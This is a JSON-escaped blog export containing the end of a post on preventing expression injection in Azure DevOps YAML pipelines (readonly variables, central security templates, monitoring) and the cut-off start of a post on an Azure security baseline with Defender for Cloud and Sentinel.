variables as \u003ccode\u003ereadonly: true\u003c/code\u003e in your YAML files. This prevents any subsequent task or script from maliciously \u0026ldquo;clobbering\u0026rdquo; the value using the \u003ccode\u003etask.setvariable\u003c/code\u003e command.\u003c/p\u003e\n\u003ch2 id=\"4-building-a-security-wrapper-template\"\u003e4. Building a \u0026ldquo;Security Wrapper\u0026rdquo; Template\u003c/h2\u003e\n\u003cp\u003eIndividual repositories should not define their own security standards. Instead, use the \u003ccode\u003eextends\u003c/code\u003e keyword to force all pipelines to follow a central, hardened template.\u003c/p\u003e\n\u003ch4 id=\"the-security-wrapper-hierarchy\"\u003eThe Security Wrapper Hierarchy\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 496 233\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 0,0 L 480,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,48 L 240,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,48 L 480,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,80 L 232,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,80 L 480,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,128 L 240,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,128 L 480,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,160 L 232,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,160 L 480,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,208 L 480,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,0 L 0,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,80 L 0,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,160 L 0,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,48 L 240,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,128 L 240,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,0 L 480,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,80 L 480,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,160 L 480,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='248.000000,80.000000 236.000000,74.400002 236.000000,85.599998' fill='currentColor' transform='rotate(90.000000, 240.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='248.000000,160.000000 236.000000,154.399994 236.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 240.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='196' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='116' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='196' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='100' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='100' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='100' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='116' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='196' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='196' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='100' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='196' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='196' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='196' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eThe \u003cstrong\u003eSecurity Wrapper\u003c/strong\u003e template validates all incoming parameters against an internal \u0026ldquo;Allow List\u0026rdquo; before passing them to any execution logic. This centralizes your security posture and ensures that a new injection protection can be applied to every repository in the organization with a single commit.\u003c/p\u003e\n\u003ch2 id=\"5-auditing-and-monitoring-for-injection\"\u003e5. Auditing and Monitoring for Injection\u003c/h2\u003e\n\u003cp\u003eIn 2026, \u003cstrong\u003eGitHub Advanced Security for Azure DevOps (GHAzDO)\u003c/strong\u003e natively scans your YAML files for expression injection patterns during the Pull Request phase. However, you should still monitor your logs for the \u003ccode\u003esecret_scanning_push_protection.bypass\u003c/code\u003e and \u003ccode\u003etask.setvariable\u003c/code\u003e events.\u003c/p\u003e\n\u003cp\u003eAdditionally, enable the \u003cstrong\u003e\u0026ldquo;Shell Argument Validation\u0026rdquo;\u003c/strong\u003e toggle in your Project Settings (Pipelines -\u0026gt; Settings). This feature allows the agent to automatically block common injection characters like \u003ccode\u003e;\u003c/code\u003e and \u003ccode\u003e|\u003c/code\u003e within macro expansions.\u003c/p\u003e\n\u003cp\u003eSend your pipeline execution metadata to a security information and event management (SIEM) tool like \u003cstrong\u003eMicrosoft Sentinel\u003c/strong\u003e. Anomalies—such as a developer overriding a \u003ccode\u003ereadonly\u003c/code\u003e variable or providing a parameter with high entropy—should trigger an automated security review.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eMacro Syntax is Unsafe:\u003c/strong\u003e Avoid \u003ccode\u003e$( )\u003c/code\u003e in script blocks; map to environment variables instead.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStrict Typing is Mandatory:\u003c/strong\u003e Use \u003ccode\u003evalues:\u003c/code\u003e to restrict string parameters to known-good options.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAudit Your Entrances:\u003c/strong\u003e Treat every user-provided parameter and PR metadata field as untrusted data.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eShift-Left with GHAzDO:\u003c/strong\u003e Use automated scanning to catch injection patterns before they reach your main branch.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/security/overview\"\u003eMicrosoft Learn: Security considerations for Azure Pipelines\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://owasp.org/www-project-top-10-for-cicd-security-risks/\"\u003eOWASP: Top 10 CI/CD Security Risks (PPE)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://devblogs.microsoft.com/devops/\"\u003eOfficial Blog: Securing your YAML templates\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/azure-pipelines-tasks\"\u003eGitHub: Secure Pipeline Reference Architectures\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Protect your CI/CD pipelines from the inside out. Learn how to prevent expression injection, sanitize user inputs, and use typed parameters to build bulletproof Azure DevOps pipelines.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/expression-security-hardening/","title":"Expression Security: Preventing Injection and Hardening Your YAML"},{"content":"\u003cp\u003eThe compliance report lands in your inbox on a Tuesday morning. One finding: a production subscription had diagnostic logs disabled for 47 days. No one noticed because no one was watching. The subscription was vended six weeks ago, the app team started deploying workloads a week after that, and somewhere in between, the security coverage that was supposed to be automatic\u0026hellip; wasn\u0026rsquo;t.\u003c/p\u003e\n\u003cp\u003eThat gap — between \u0026ldquo;we have a landing zone\u0026rdquo; and \u0026ldquo;we have a landing zone with security built in\u0026rdquo; — is where incidents live.\u003c/p\u003e\n\u003cp\u003eThe \u003cstrong\u003eAzure Security Baseline\u003c/strong\u003e closes that gap by wiring two services into a single \u003cstrong\u003eUnified Security Operations Platform\u003c/strong\u003e: \u003cstrong\u003eMicrosoft Defender for Cloud (MDC)\u003c/strong\u003e for Cloud Security Posture Management (CSPM) and \u003cstrong\u003eMicrosoft Sentinel\u003c/strong\u003e for Security Information and Event Management (SIEM). Deploy it once at the Management Group scope and every subscription your vending machine creates inherits it automatically.\u003c/p\u003e\n\u003ch2 id=\"1-unified-security-operations-architecture\"\u003e1. Unified Security Operations Architecture\u003c/h2\u003e\n\u003cp\u003eThe design principle is \u003cstrong\u003eDefense-in-Depth through Centralization\u003c/strong\u003e: Defender protects individual workloads, Sentinel correlates those signals into actionable incidents.\u003c/p\u003e\n\u003ch3 id=\"unified-security-operations-architecture-siem--xdr\"\u003eUnified Security Operations Architecture (SIEM + XDR)\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 400 377\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,128 L 384,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,208 L 216,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,208 L 384,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,272 L 208,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 224,272 L 384,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,352 L 384,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,128 L 48,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,272 L 48,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,64 L 104,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,208 L 216,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,256 L 216,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,128 L 384,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,272 L 384,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='112.000000,96.000000 100.000000,90.400002 100.000000,101.599998' fill='currentColor' transform='rotate(90.000000, 104.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='224.000000,272.000000 212.000000,266.399994 212.000000,277.600006' fill='currentColor' transform='rotate(90.000000, 216.000000, 272.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' 